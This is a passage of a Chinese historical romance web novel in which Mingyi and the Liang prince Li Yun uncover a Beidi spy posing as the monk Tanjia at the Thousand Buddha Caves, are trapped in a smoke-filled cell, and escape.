秦梦如实道:“三娘子让我想起了我的义母,她也是像你这般的长安贵女,跟随义父在北庭多年。”说着又深吸一口气,用力擦了下鼻子,“让三娘子见笑了。” 明宜轻笑道:“秦夫人乃巾帼英豪,我听过她许多事迹,对她也十分敬仰。” 秦梦闻言叹了口气:“可惜我实在无能,连义母临终遗愿也未能完成。”说着又问,“不知王爷何时能通知北狄暗探?” 明宜道:“秦姐姐莫急,只要你阿弟确实在北狄,王爷定能替你打探到消息。只是北狄部族众多,打探起来定也不是一时半会儿的事。” 秦梦点点头:“我明白,不然也不会十二年音讯全无。” 明宜想了想,又道:“不知你阿弟有什么特点,不妨与我说说,也好方便暗探去找。” 秦梦眯眼回想了片刻,道:“七郎失踪时刚刚八岁,生得长眉长眼,与我义父有八分相似,如今正好弱冠之年,想必也是个与我义父一般俊朗的男子。对了……”她又想到什么似的,“七郎自小聪慧过人,又有习武天赋,三岁便由义父亲自教导秦家枪,七八岁时一手秦家枪已经打得十分漂亮。” 明宜若有所思点头:“一个中原长相的弱冠男子,若是还耍得一手好枪,在北狄应该并不多,只要还活着,王爷定能替你找到,秦姐姐安心等着便好。” 秦梦深深叹息一声:“不管是生是死,我都要找到他。生,我将他接回来照顾;死,我也要将他尸骨找到,与义父义母一起安葬。” 明宜点点头:“嗯,秦姐姐先用膳。” 秦梦端过她送来的牛乳,喝了一口,爽快地叹了口气:“托三娘子的福,好久没吃过这么美味的东西。” 明宜想到地下城他们那些可怜的家当,不由得有点想笑,但到底还是忍住,只好奇问:“沙狼靠护送商队赚钱,你们又是沙匪,怎么会成为朋友?” “我们一般不会抢太多,有次遇到沙狼护送的商队,被他一路追到地下城,”说到这里,秦梦有点不好意思地轻咳一声,“他见我们这么穷困,又发现了我们身份,约莫是心生怜悯,帮了我们几次,便成了朋友。” 明宜又状似随口问:“你知道沙狼从前是什么人么?” 秦梦摇头:“我只知他是在沙洲行侠仗义的流民之首。” 明宜若有所思点点头,看来陆浪所说这么多年只有自己知道他身份,确实不假。 “对了,”秦梦忽然想到什么似的,问,“我听沙狼说,王爷将我们当做狄匪,是因为北狄细作所陷害?” 明宜点头:“没错,你们可在沙洲遇到过北狄人,与他们有过过节?” 秦梦撇撇嘴:“我们确实和几支北狄沙匪有过冲突。” “那这些细作应是知道你们身份,借机报复。”说着,明宜又问,“那你可听说过北狄的飞鹰?” 秦梦点头:“我听沙狼说过,是突涅小可汗麾下的暗探组织,但并未遇见过。当然,或许遇到过也并不认得。”说到这里,她话锋一转,好奇道,“王爷是在抓捕飞鹰么?” “嗯,王爷这次来敦煌是为招兵募马,不料城中三大马商一夜之间惨遭灭门。王爷偶然从沙狼口中得知突涅小可汗在沙洲安插了飞鹰,想必是他们所为。如今北狄只怕很快会卷土重来,必须尽快拔掉飞鹰,敦煌乃至沙洲河西才安全。” 秦梦叹了口气:“可惜我眼下对飞鹰一无所知。不过我们在沙洲多年,多少还是有些眼线,王爷和侯夫人帮我寻找阿弟,我也要尽一点绵薄之力回馈你们。只是不敢保证,能不能帮上忙?” 明宜轻笑:“你有这份心就已经很好了,至于能否帮上,不重要的。” 因见秦梦已是多日未曾好好休息,明宜又与她闲话几句,嘱咐她用完膳好好睡一觉,便起身道别。 出来后,见楚飞在院中,想来李赟正在回房里,便走过去敲了敲门。 “进来!” 明宜推门而入,拱手作了一揖:“阿兄。” 李赟正坐在案后吃着茶水,待她话音落,才不紧不慢撩起眼皮看过来,伸手示意她坐下,又轻描淡写问道:“怎的?与秦梦说完了?” 官舍就这么大,明宜知道自己一举一动都在对方眼皮下,她笑了笑道:“我去问了下秦娘子,那秦七郎有何特点,好方便阿兄帮忙寻找。” “你莫非觉得那秦七郎还活着?”李赟将手中茶盏放在桌上,轻笑道:“我以为你只是为了帮我将人留下寻的借口。” 这话倒也不错,不过明宜心中又忍不住反诘,什么叫“帮你将人留下”,她自己也不想看到仅剩的秦家军过得这么落魄。 不过她什么也没说,只继续道:“我原本也觉得都已过去十二年,人若真被掳走,只怕也早不在了。但旋即又想,有时候没消息反倒是好消息。且听秦娘子说,那秦七郎十分聪慧,得了秦将军真传,指不定还真活着。” 李赟勾了勾嘴角:“嗯,那你说说那秦七郎有何特点?” 明宜道:“说是长眉长眼,十分俊俏,与秦将军生得八分像,还会秦家枪。” 李赟点点头,不甚在意道:“行,我会让人将信息传给北狄探子。”说着抬眸看向她,冷不丁道,“弟妹如今还急着回长安么?” “嗯?”明宜一时不明所以。 李赟扯了下嘴角道:“弟妹的聪明才智,在长安只怕派不上什么用场,但在河西,却大有用处。” 明宜微微一怔,继而又好笑道:“阿兄谬赞了,我不过读过一些书,懂一点番语,哪敢称聪明才智?” 话虽如此,但心中却也因为对方这话,暗生波澜。 她好像真的已经很久没想着要快些回长安了。 是因为她在这里自由自在,不用再困在高门之中? 还是不知不觉开始享受“派得上用场”的感觉? 抑或是李赟似乎也没那么可怕。 不管怎样,她都确定自己,何时回长安这件事似乎都已经不那么重要。 李赟看了看她,并未再继续这话题,只转而道:“明天我带你和五郎去千佛洞看看佛像和壁画。” 明宜随口问:“明日阿兄没有庶务要忙么?” 李赟漫不经心道:“事情是忙不完的,也总得有放松的时候。” * 翌日的出游,最高兴的莫过于齐王殿下。 他来敦煌就是想去千佛洞去看佛像和壁画,但来了这几日,因李赟不得空,又不让他独自出城,眼下终于有了机会,整个人跟出笼小鸟一样,兴奋不已。 那千佛洞离敦煌城几十里路,一路马不停蹄,也要一个多时辰。 虽然一早便出门,抵达千佛洞,也已是日照当空。 千佛洞作为河西最大的石窟寺,在鸣沙山东麓的崖面足足蔓延几里,上下更是足有几十米高。 光是站在山脚,还未见识石窟中的佛像壁画,便让人感受到何等壮观。 不过此时,在岩壁中间的大佛殿前,正乌泱泱跪着两三百人,他们前方在盘腿悬空坐着一位鹤须僧人。 随行的刺史府典史为他们解释道:“每月逢六,昙迦大师都会在此为信众讲经,两位王爷要先去听么?” 周子炤虽然对昙迦大师很是崇敬,但对听经却是无甚兴趣,不等李赟开口,赶紧先道:“人太多了,我们还是先去洞窟看佛像和壁画,等昙迦大师讲完经,我们再去拜访他。” 典史笑盈盈点头,却还是看向李赟,显然是要等他首肯。 李赟瞥了眼明宜:“弟妹意下如何?” 明宜轻笑:“我对听经也无甚兴趣。” “行,那我们就先参观洞窟,再去拜访昙迦大师。” 千佛洞管理严格,并不能随意进出,每日游览人数也有限制,但如今石窟寺修建营造,都有官府主导,有典史带路,一行人自然畅通无阻,那典史还专门唤来两个小僧人,为几人讲解。 一进大佛殿,众人便被殿中巨大佛像震撼,周子炤更是惊呼出声:“哇,这大佛得有十丈吧?!” 小僧笑着道:“回施主,这是千佛洞最高的佛像,刚好十丈出头。” 几人一路游览一路惊叹。 当然惊叹的主要是没见过世面的周子炤和明宜,李赟来过已不止一回,虽工匠僧人每年都在开凿新石窟,但大多大同小异。 又来到一座宽敞的殿堂窟,明宜瞬间就被一幅巨大的壁画吸引,她走到壁画前,不等小僧介绍,先开口道:“莫非这就是出自昙迦大师之手的那幅佛陀降魔图?” 小僧回道:“施主好眼力,这正是昙迦大师三年前完成的佛陀降魔图。” 明宜深吸几口气,仔细欣赏着面前这幅巨作,除了高超画技展示的壁画之美,这幅画透出的佛性,仿佛能将人心洗涤,以至于她看着看着,便忍不住双手合十,虔诚地拜了拜。 “弟妹很喜欢这幅壁画?”一旁的李赟见状,冷不丁开口道。 明宜回神,轻笑道:“我在长安时,听说昙迦大师画技了得,所画佛陀降魔图乃是鬼斧神工之作,今日一见,果然名不虚传。” 李赟便问那小僧:“听说这两年昙迦大师画技越发精进,作有一幅佛陀度化众生图,不知画作在哪里?小师父可否带我们前去瞻仰一番?” “不错,昙迦大师这幅画今年才完成,施主请随小僧来。” 周子炤搓着手兴奋道:“我来凉州时就听说了,这佛堂度化众生图,能保佑信众心想事成,我可得好好瞻仰。” 李赟不以为然地扯了下嘴角。 明宜因未曾听说过昙迦大师这幅新作,便也实在好奇。 一行人跟着小僧出了洞窟,正沿壁而行,忽闻下方传来一众声音:“多谢昙迦大师施恩!” 明宜循声看去,却见是昙迦大师似乎已讲完经,信众们正跪地叩谢,两个弟子拿着树枝,从手中宝瓶中沾了水,洒向众人。 这些人仿佛迎接圣水一般,满脸虔诚。 周子炤惊叹道:“不愧是昙迦大师,等会儿我也要让大师点化我一番。” 李赟则是轻哼一声。 明宜也觉得这场面有些怪异,不过她很快发现这一众信徒中,有一道熟悉的身影。 仿佛是觉察被人看到,那人也抬头看过来,然后朝她展眉一笑。 这人不是别人,正是陆浪。 明宜蹙了蹙眉头,心下有些狐疑,陆浪那种游侠儿的性子,也会信佛?还如此虔诚? “走吧,弟妹!”正当她疑惑间,身后传来李赟轻飘飘的催促。 明宜回神,朝陆浪弯了弯下嘴角,跟上带路小僧,走入一个新洞窟。 “各位施主,这就是师父最新完成的佛陀度化众生图。” 周子炤哇的一声,兴奋地凑上去。 因画作完成不久,色彩比起先前那幅佛陀降魔图要鲜艳许多,乍一看,确实是神乎其技的画艺,明宜也是亟不可待凑上去。 只是脸上的兴奋,在旁边周子炤双手合十虔诚祈祷时,渐渐变为疑惑。 “弟妹觉得这昙迦大师这新作如何?”还是李赟轻飘飘的声音将她唤回神。 她看了眼旁边的小僧,弯唇轻笑道:“嗯,比起旧作,昙迦大师这幅新作,技艺确实更加精进。” 李赟歪头扫了眼面前壁画,漫不经心道:“是么?我倒是看不出来。” 一旁的周子炤道:“表兄你乃一介武夫,哪会欣赏画作?” 李赟嗤了声:“说得你好像懂欣赏似的?” 周子炤反诘道:“我怎么就不懂?我看着这佛陀度众生图,便觉得自己也被度化了。” 就在这时,一个年轻青衣的僧人从洞窟外走进来,朝李赟拱手道:“小僧明心参见小凉王殿下,吾乃昙迦大师弟子,师父得知殿下到访千佛洞,特请殿下去他禅房一叙。” 李赟与他回了礼,轻笑道:“刚刚怕打扰昙迦大师讲经,没让人通报,看来大师消息很灵通嘛!” 他朝明宜和周子炤挑挑眉:“走吧,你二人不是想见昙迦大师么?” 不等他话音落,周子炤已经亟不可待蹦蹦跳跳出了石窟。 明宜跟着李赟慢悠悠走了两步,忽然捂住腹部弯下身,痛苦地闷哼一声。 一旁的白芷吓了一跳,忙扶住她问道:“娘子,你怎么了?” 李赟闻声转头,见明宜秀眉颦起,满脸痛楚状,也赶紧上前扶住她的肩膀,皱眉唤了声:“弟妹!” 明宜微微喘息道:“我……我的肚子忽然好痛!”说着,便挣开白芷的手,虚弱地往李赟肩膀一靠。 臂弯中带着馨香的温软身躯,让李赟心头蓦地一跳,发出的声音也不由自主粗哑了几分:“怎么回事?” 事关紧急,明宜也顾不得礼数,干脆揽住他的脖颈,嘴唇贴在他耳畔边,用只有两人听得到的声音,对他耳语道:“这幅壁画与先前那幅,不是出自同一人之手,这个昙迦大师有问题!” 因怕旁边僧人觉出异样,她不敢说太多,但相信以李赟的聪慧机警,定能明白。 李赟确实听明白了,只是对方柔软的唇瓣翕张时,几乎是在他耳边摩擦,饶是他脑子再如何冷静,身体却也不受控地涌上一股陌生的酥麻和热意—— 作者有话说:嘿嘿嘿 第48章 第 47 章 这般紧急之下,她自然也…… 好在明宜说完, 便松开了揽住他脖颈的双臂,继续捂着腹部做痛苦状。 李赟不受控的身体也因此得了救,他深吸一口气, 将明宜打横抱起, 朝带路的僧人道:“小师父,本王弟妹忽然腹痛, 本王得立即带她回城医治, 还请小师父与昙迦大师转告一声,过两日本王再来拜访。” 刚跑出去的周子炤闻言, 又折回来, 惊呼道:“表兄, 三娘子这是怎么了?” 李赟浓眉微蹙, 神色凝重道:“忽然腹痛难忍,我们得赶紧回城。” “好好好!”周子炤见他这模样, 忙不迭点头, 哪里还有心思去见什么大师。 然而李赟刚迈步,便被那唤作明心的僧人拦住,对方双手合十道:“王爷莫急, 师父精通医术, 王爷赶紧将侯夫人带去师父禅房, 先让他瞧一瞧。” 靠在李赟怀中的明宜,暗道不好,这是走不了了。 果然,她感觉到李赟脚下一顿, 似是犹疑了下,便淡声道:“那就有劳小师父带路了。” 继而又听他对周子炤道:“五郎,你让典史带你下去, 马车里有一只木箱,箱中有一白瓷瓶,里面装着清心丸,兴许对弟妹有用,你帮忙取来。” “好好好……”周子炤又是一阵小鸡啄米。 明宜明白对方是把周子炤和典史支走,若是有事发生,不仅能少两个拖累,还能及时去唤人支援。 她想了想,在人离开前,虚弱地唤道:“表兄……” “嗯?”周子炤转头看她。 明宜气若游丝道:“我……刚刚看到沙狼在下面,你若看到他,让他先别走,我有事问他。” 说完便脑袋一偏,假装晕了过去。 “哦,好的。”周子炤见状,愈发慌张,赶紧催着典史下山。 两人一走。 便只剩明宜和李赟,再加上一无所知的白芷和楚飞。山下倒是还有暗卫,只是这千佛洞洞窟上千,地形复杂,暗卫只怕在这里并不好使。 也正是此时,明宜才恍然大悟,飞鹰能一夜灭三门,人数定然少不了,但却连陆浪都查不到踪迹,那定然有着极好的隐藏身份。 这千佛洞,画工僧人上百人。 除了这里,还有哪里,足以让数十北狄细作聚集在一起而不被人怀疑? 而陆浪今日出现在这里,是当真来听昙迦法师讲经,还是也发现了什么? 若是后者,她让周子炤转达的话,定能使他有所警觉。 正思忖着,她忽然感觉身体微微晃动,是李赟抱着自己出了洞窟。 而这时,她才后知后觉反应过来,自己正被一个男人抱在怀中,她的脸甚至就贴在对方胸膛。 隔着两层薄薄的衣裳,她几乎能清晰无比地感受到对方结实的躯体,以及那躯体散发出的灼热。 以至于,她的脸颊似乎也因为这灼热,而迅速染上了烫意。 好在昙迦大师的禅窟并不远。 禅窟乃是僧人修行之地,大多是小窟,但昙迦大师这座禅窟,却颇为宽敞,乃是一间多室禅窟,除了中央一座主室,周围还连着几座小室。 昙迦大师此刻正盘腿坐在主室佛像前,看到人进来,缓缓起身,双手合十行了礼:“好久不见了,小凉王殿下!” 李赟不动声色打量着对方。 他总共就见过昙迦两次,最近那次已是两年前,当时对方正在作壁画,他不便打扰,不过上前问候了两句。 面前这昙迦大师的相貌,与记忆中看着并无不同。 但他知道,一定有了不同。 他将明宜小心翼翼放在地上一个蒲团上,让她继续靠在自己胸口,然后双手合十回了大师一礼,又状似心急道:“大师,这是本王弟妹,突发腹痛晕了过去,听明心小师父说,大师精通医术,还请快帮忙瞧瞧。” “王爷莫急,贫僧这就来为侯夫人瞧一瞧。” 昙迦大师走过来,伸手轻轻捏住明宜手腕,片刻后,眉头微微蹙起:“侯夫人脉象急促紊乱,有些像是受惊之状。”说着收回手,淡声道,“不过应是没有大碍。” 李赟闻言重重舒了口气:“那就好。” 昙迦大师伸手指了指旁边的小禅室,道:“王爷先把侯夫人放去禅床上躺着。” 李赟看了眼那禅室,不过一丈宽,里面只得一张僧人用来修行的禅床,墙上凿开的小洞,摆放着几尊佛像。 他心中狐疑,但稍作犹豫,还是将明宜抱进去,放在那硬邦邦的禅床上。 只是人刚放下,身后便忽然发出轰隆一声巨响,一道厚重石门从天而降,将这禅室瞬间堵得严严实实。 原本就暗沉的石室,转眼便伸手不见五指。 不好! 明宜蓦地从禅床坐起来,唤道:“阿兄——” 与此同时,外面的楚飞和白芷见此情形,立刻觉察不对,齐齐唤道。 “王爷!” “娘子!” 两人下意识要上前去拍石门,却一时不防,被明心和两个僧人,顺手从背后一推,推进了旁边小禅室,人刚进去,同样被天降石门关在了里面。 这动静自然被里面的明宜听到,心中不由得有些懊恼。 怪只怪她和李赟太大意,这沙漠中的岩壁乃是砂砾岩,算不上太坚硬,因而易于开凿,却不易雕刻,为在崖壁上制作壁画和彩塑,工匠们必须先在岩壁上涂抹多层特制草泥,形成一个被称作“地仗”的坚实平整的基层,然后再在此地仗上绘制壁画。 因而洞窟也都不深,像是蜂窝嵌在这岩壁上,洞窟大多只有一些防风沙的外门,而这样的小内窟是没有门的。 这坚硬石门显然是这飞鹰从别处运来,又用了什么法子,专门设置的机关。 她没想到,李赟显然也没想到。 她那句惊呼出声的“阿兄”,并未到对方回应,但很快便听到这小小石室内,男人略显粗重的呼吸。 “阿兄……”明宜又唤了声。 但李赟还是没回应。 明宜心中狐疑,摸黑下地,这石室不过一丈余,她只试探着挪动了两步,便碰到一具坚硬的身躯。 她本能攥住对方衣服,却觉得不太对劲。 “阿兄,你怎么了?” 李赟仍旧没回应,而明宜却感觉到对方身体似乎在往下滑去,而后自己腿上便多了一道重量。 是李赟靠了上来。 黑暗幽闭的室内,将男人的呼吸声放大。 粗重、急促,带着一丝无法掩饰的惊惧。 这声音不应该来自小凉王,但偏偏就是李赟发出的。 明宜一时心如擂鼓,小心翼翼蹲下身体,顺着对方手臂往上,试探着去摸对方的脸。 却摸到了满手冰冷的汗。 明宜心下大惊。 这是犯了什么急病? 但她从未听说过李赟有什么隐疾? 正要开口再唤对方,却蓦地灵光一闪。 她记得在一本书上看过,说这世上怕黑的人多,但有一种怪疾,平常并不怕黑,可若是被关在狭小黑暗的空间里,他们便会犯病,轻则惊惧出冷汗,不能动弹,重则会心悸而亡。 莫非李赟便是有这种怪疾? 她顺着对方的脸,摸回对方肩膀,果然僵硬如石。 她越发心急如焚,因知这怪疾本质是来自恐惧,便伸手将对方紧紧抱住,柔声安抚道:“阿兄,你别怕,我在这里陪你。” 李赟仿佛是抓到救命稻草一般,一双硬邦邦的手臂,猛地抱住她的腰,两人一时紧密地如同一体。 明宜听着对方越来越急促的呼吸,知道不能再这样下去,慌忙间忽然想起刚刚眯着眼似乎瞥到,这些禅室的佛像前,都放有烛台。 而李赟革带上平日都挂有火镰。 她赶紧空出一只手,沿着男人坚硬胸膛往下摸去。这般紧急之下,她自然也无暇考虑礼数,只想赶紧摸到火镰。 只是狭窄黑暗的石室内伸手不见五指,摸到革带容易,找到上面所挂的火镰,却没那么快,她胡乱摸着上面挂着的各样冰冷之物。 因为心急,动作不免有些大。 一不小心抓到男人衣衫下一团硬肉,好在她反应快,心下一怔,飞快挪开,终于是摸到了火镰。 摸索着取下来后,她又拍拍李赟肩膀,试图将紧紧抱着自己的人推开,哪知刚用力,便被抱得更紧。 她赶紧轻轻拍了拍对方脊背,柔声道:“阿兄,你松开手,我去点蜡!” 片刻后,箍着自己的手臂,终于卸了几分力度。 明宜飞快脱身,摸黑爬到禅床上,又沿着石墙壁摸到那佛龛处,找到蜡烛。 咔咔的火镰声,在幽静室内响起,先是一点火花,接着烛心被点燃,一簇小火苗,将黑黢黢的狭小石室照亮。 明宜重重松了口气,将烛台放回佛龛,转头看向李赟。 地上的人在烛光中缓缓抬头,掀起眸子对上她的目光。 那双灰眸,由一开始的呆板茫然缓缓变回惯常的冷冽。 明宜下了禅床,弯身去扶他:“阿兄,你先坐会儿缓缓,我们再想办法出去。” 男人从善如流起身。 原本坚硬的身体缓和了许多,但明宜能感觉出还有些虚软。 李赟在禅床坐定,阖上双目,深呼吸了口气,低声开口:“有劳弟妹了。” 他神色平静冷峻,依旧是那个让人敬畏的小凉王,仿佛刚刚黑暗中惊惧到浑身僵硬的男人,从未存在过—— 作者有话说:一个幽闭恐惧症的男主,可以尽情嘲笑~ 第49章 第 48 章 显然是在一心一意祈盼沙…… 明宜心思巧慧, 知道以小凉王骄傲的性子,自己此时去关心他那怪疾,只怕会弄巧成拙。 于是她提也不提刚刚他犯病的事, 只走上前用力推了推那石门, 又仔细检查了下室内,没瞧见任何机关, 不由得蹙眉道:“这门很厚重, 室内未设机关,只怕从里面怕打不开。” 李赟也站起来走到门后, 伸手推了把, 亦是纹丝不动, 他皱了皱眉头:“怪我刚刚太大意。” “谁能想到这石窟有如此厚重的石门?” 李赟道:“如此看来, 这些人便是飞鹰了,难怪一直找不到, 昙迦大师只怕已是凶多吉少。”说着叹息一声, 又冷笑道,“难怪昙迦大师忽然变成这样。” 明宜道:“不知他们意欲何为?难不成觉得能将我们困死在这里?齐王殿下和典史找不到我们,那定也是要找他们要人的。” 李赟将耳朵贴在石门后, 仔细去听外面的动静。 明宜见状, 也学他去听。 这石门虽厚重, 但到底有缝隙。 明宜先是隐约听到白芷和楚飞在另一间禅室的叫唤声,然后便听到一道洪钟的声音,似乎是从洞窟外传来。 这声音应该是来自那假冒的昙迦大师。 “今日魔罗现世千佛洞,贫僧已将其镇压洞窟中, 贫僧即将做法让其永世不得超生,还请诸位施主,一起祈求上苍助贫僧一臂之力。” 只见昙迦大师悬空站在洞窟外, 自上而下望着站在下方山脚一众信徒们,洪钟般的声音有一股不容置喙的威压,让这些信徒乌泱泱跪在地上,举起双手朝着天空祈求保佑。 回到马车没找到药瓶的周子炤,遥遥看到北边状况,正奇怪这昙迦大师难道已经给三娘子看完病?这又是在作何? 一道声音忽然飘进他耳朵。 “齐王殿下,您怎么独自在此?” 陆浪这话其实问得有些不太对,因为周子炤并非一人,除了他还有刺史府典史,还有叶六几个护卫。 不过这意思也不难理解,他其实问得是李赟和明宜为何不在此。 周子炤见到他,顿时一拍脑门,想起明宜的话,赶紧问道:“沙狼,你是要回城么?” “正有此意。” 周子炤忙道:“你先别走,三娘子……就是侯夫人,突发腹痛晕厥,让昙迦大师去瞧病了,表兄让我来马车找清心丸,三娘子说若我看到你,务必转告,让你别急着走,她有要事与你说。” 陆浪眉头深蹙:“侯夫人病了?” 周子炤也是满脸焦急,摸摸头道:“是啊,也不知怎的,忽然腹痛难忍,交代完我这话,就晕了过去。” 陆浪沉吟片刻,转头遥遥看向北麓那边的昙迦大师,神色凝重点头:“我知道了。” 与此同时,悬空在岩壁前的昙迦大师,周身忽然涌起层层白烟,仿若置身仙境一般。 地下信众们对他法力更加深信不疑,不停磕头朝拜。 而石室内的明宜和李赟,看到从石门缝隙中缓缓涌进来的烟雾,当即退后掩住口鼻。 “不好!他们是要用烟雾把我们熏死在洞内。” 李赟声音倒算是冷静:“不仅是要熏死我们,他们也正好借由烟雾脱身。” 没错,就算周子炤和典史反应不及,凉王暗卫定然很快会发觉不对,暗卫对这千佛洞,并不熟悉,有烟雾遮挡,昙迦便能趁机逃走。 明宜难受地轻咳了两声,随口道:“齐王殿下这会儿应该已见到沙狼,转达了我的话,对方应该能明白情况不对。他对千佛洞熟悉,定能赶来救我们出去。” 李赟转头看向她,昏黄烛火下,女人因为烟雾,一双杏眼已难受地染上水光。 而她此时,显然是在一心一意祈盼沙狼从天而降,将她解救。 这个想法,让李赟心中一阵烦躁。 原本因为怪疾发作还有些虚软的身子,也因为这烦躁,蓦地蓄起一股急于释放的力量。 他攥紧双拳,猛得朝石门重重砸去。 砰的一声巨响,伴随着砂石嗖嗖掉落。 明宜几乎怀疑这脆弱的岩洞,要被他那双击垮,下意识轻呼一声:“阿兄!” 不过她也发现,那巨门当真在李赟的拳头下,挪开了一条大缝,她又惊又喜,走到对方身旁,轻轻拽了下他的袖袍:“门开了!” 李赟只觉身上蓦地涌上无穷力量,也不顾烟雾,深吸一口气,爆喝一声,再次朝石门用力一推。 伴随着砂石抖落,巨石轰然倒地。 李赟拽起明宜便往外跑,恰好遇到从烟雾中跑进来的陆浪。 “侯夫人,你没事吧?” “我没事。”明宜掩着口鼻叫道:“你快帮忙将那小禅室石门打开,里面关着人。” 不等她说完,李赟已经将她拖到石窟外,外面虽然亦是白烟滚滚,但到底是在空旷处,呼吸稍稍顺畅了些。 明宜忍不住咳了两声,被熏出来的眼泪,也随之滚下来。 她勉强定睛一看,果然见那昙迦大师已经遁逃数米开外,正欲往一间洞窟躲去。 明宜喘息道:“这些洞窟,只怕都有他们所造机关,不能让他们躲进去。” 李赟自然也瞧见那身影,松开她的手道:“我去拿人,你自己当心!” 话音未落,人已经踏着岩壁,顷刻间飞掠上前。 与此同时,里面的白芷和楚飞也被沙狼解救出来,两人被熏得一脸狼狈。 “二夫人,王爷呢?”楚飞眼泪巴巴问道。 明宜朝北边一指:“去追那假高僧了,你快去帮他。” “嗯,”楚飞拔剑,顷刻间已经掠出几米远。 烟雾是来自洞窟中几只炉子,不知用的什么木材,竟是生出这么多白色浓烟。 陆浪将炉子一一灭掉后,烟雾才终于淡去,外面的则随风很快被吹散。 明宜与白芷一起靠着岩壁,卸力般坐在地上,咳嗽了一阵,终于渐渐缓过来。 陆浪挥着手走过来,问道:“侯夫人,你怎么样?” 明宜抬头看向他,重重舒了口气:“我没事,多谢你及时赶来。” 陆浪轻笑:“那石门开关在外,小凉王竟能徒手从里面撞开,看来传言他以一敌百并非夸大其词。” 明宜也笑,却又想到方才洞窟中的男人。 一面是在黑暗中怪疾发作无法动弹,一面又如天降神力,以一己之力将巨石撞开。 世人只知后者,却不知前者。 正想着,北边传来的动静,让她下意识循声看去,却见那昙迦大师,正攀爬在一个石窟上,就在他继续要往岩壁上方逃去时,却瞥见追在他左侧的李赟,手中不知何时多了一把弓\弩。 与此同时,楚飞和一众暗卫,也已拿下了好几个僧人。 因烟雾散去,下方信众也看清楚上方情况,不由得大惊失色。 李赟高声开口:“吾乃凉王李赟,昙迦大师已于一年半前被这妖僧所害,此妖僧系北狄细作假冒,刚刚故弄玄虚,乃是想谋害本王,幸未能得逞。”顿了下,又厉声喝道,“妖僧,你胆敢再行一步,本王立刻将你射杀。” 昙迦大师德高望重,在信徒心中乃是神明一样的人物,而眼下状况,却让他们的信念坍塌,一时乱作一团。 “小凉王百步穿杨的本事,贫僧早有所耳闻!”那妖僧垂眸望着下方信众,忽的轻笑出声,“不过我奉劝你放了我。” 李赟冷笑出声:“北狄贼子,死到临头,我看你还有什么诡计?” 妖僧道:“小凉王不妨仔细看看下方。” 李赟往下方人群淡淡瞥了眼,却见嘈杂的人群中,有十余僧侣和工匠模样的手,手中握着各种灵巧利刃。 而周遭信众显然一无所知,只是焦急地望着上面。 “呵!”李赟冷笑一声,“想用下面那些人的命要挟本王,莫非是假和尚当久了,觉得所有人都该慈悲为怀了?那我就当着这些人的面,一箭让你毙命如何?” 妖僧当即色变,这才想起,这可是小凉王,岂会因为我一两个百个寻常百姓的性命,对自己手下留情? 李赟早已怒火中烧,且不说此人乃是杀了昙迦大师的北狄细作,就是刚刚对自己所为,也足够此人立刻挫骨扬灰。 一想到那黑漆漆的禅房,他毫不犹豫就要扣动弓\弩。 “阿兄!且慢!”身后忽然传来明宜的呼唤。 李赟蹙了蹙眉,目光始终盯着岩壁上的妖僧,头也不回问道:“弟妹要作何?” 明宜疾步来到他身旁,先是看了眼眼闭上的假大师,又看了看下方全然不知自己命悬一线的众人,她深吸一口气低声道:“阿兄,这是千佛洞,不是李氏佛堂,下面皆是无辜百姓,其中不乏沙洲大族,若阿兄置他们性命不顾,只怕届时河西军需大族捐输会遇阻。” 李赟神色冰冷,灰眸微微眯了眯。 她说得没错,下方信众中不少来自本地大族,若今日自己不顾这些人的性命,来日战事逼近,沙洲大族或许便会因为今日自己所为而不肯捐输。 就在他犹豫间,那假昙迦被不知从来冒出来的小僧明心一把抓住,两人飞快朝岩壁上方爬去,顷刻间便不见了踪影。 而李赟的弓\弩到底没射出去。 下方混迹人群的细作,也随之作鸟兽散,各自奔逃。 李赟收起弓弩,没再去追那消失的假僧人,因他知道这些人在千佛洞一年多,定是早就准备好逃生之路。 他瞥了眼下方的混乱,冷声吩咐楚飞:“所有工匠僧人一个不漏,全都抓回去,城中出入口,沙洲所有驿道全都拦截。” 楚飞拱手应诺,领人去干活。 明宜望着李赟那张冷沉如数九寒冬的一张脸,心中也不免忐忑,原本对方能将那细作头领就地斩杀,却因为自己一番话,而让其逃之夭夭。 她试探开口:“阿兄……” 李赟淡淡瞥她一眼,冷声道:“走,下山。” 明宜也不敢再多言,老老实实跟着他往回走。 陆浪在她身后摸了摸鼻子,幸灾乐祸般低声道:“侯夫人,你只怕有麻烦咯!” 他发誓自己声音细若蚊吟,只有跟前的女郎一人听得到,然而明宜还未有所反应,行在前方两米远的李赟忽然回头,冰冷的目光越过明宜,十分不善地瞥向他。 陆浪微怔,轻咳一声,举起手道:“王爷,天地良心,草民真跟这些北狄细作没关系啊!我刚刚就是来帮忙!” 明宜见李赟满脸愠怒,当真怕他误会了陆浪,正要帮忙解释,只见对方朝自己伸了伸手,淡声道:“你走前面。” 明宜一愣。 还是赶紧迈步走上前,又不放心地回头瞧了瞧,见对方只睥睨般觑了眼陆浪便跟了上来,并未再说什么,这才放了心。 陆浪看着两步之遥那将自己与明宜隔开的挺拔背影,原本带着笑意的脸色,也微微沉下来,嘴角微微往下一撇,心中冷笑一声。 虽然瞧不见,但明宜能感觉到身后的李赟,正望着自己,也因为看不见,便实在是让她觉得如芒在背,浑身不自在,以至于越走越快,到下台阶时,忍不住小跑起来,仿佛身后有猛兽在追似的。 李赟望着那脱兔一般的背影,一时有些无言,最终也只能快步追上去—— 作者有话说:嫉妒的力量真是强大啊 第50章 第 49 章 暗室中因为怪疾发作而忽…… 凉王暗卫加上刺史府带来的护卫, 总共数十人,虽能处理这烂摊子,但毕竟兹事体大, 明宜本以为李赟会留下来亲自指挥。 不料他竟也跟着自己朝马车处走来。 周子炤看到刚刚动乱, 虽不知具体发生了何事,但很懂事地老老实实躲在车内, 这会儿见李赟走来, 才跳下来,心有余悸问道:“表兄, 那昙迦大师竟是假的?这……这到底怎么回事?” 李赟没回他的话, 只冷声道:“都上车, 马上回城。” 见状, 明宜是问也不敢多问,默默领着白芷上了自己的马车, 又想到还未和陆浪道谢, 刚打开车帘,朝几步之遥的人看去,旁边车上的李赟一个刀眼瞥过来:“驾车!” 马夫立刻挥动马鞭, 马儿嘶鸣一声, 扬蹄启动。 明宜身子猛地晃动了下, 只来得及对陆浪挥挥手,人便随着马车转了方向,车帘也随之掉落下来。 她坐回凳子,重重舒了口气。 惊魂未定的白芷, 这会儿也终于敢开口说话,只是声音明显带着哭腔:“娘子,到底是怎么回事?刚刚看到你和王爷被关进禅房, 我还没反应过来,便也和楚飞被人推了进去,里面黑黢黢什么都瞧不见,我都快吓死了。紧接着烟雾钻进来,我都以为自己要死了。” 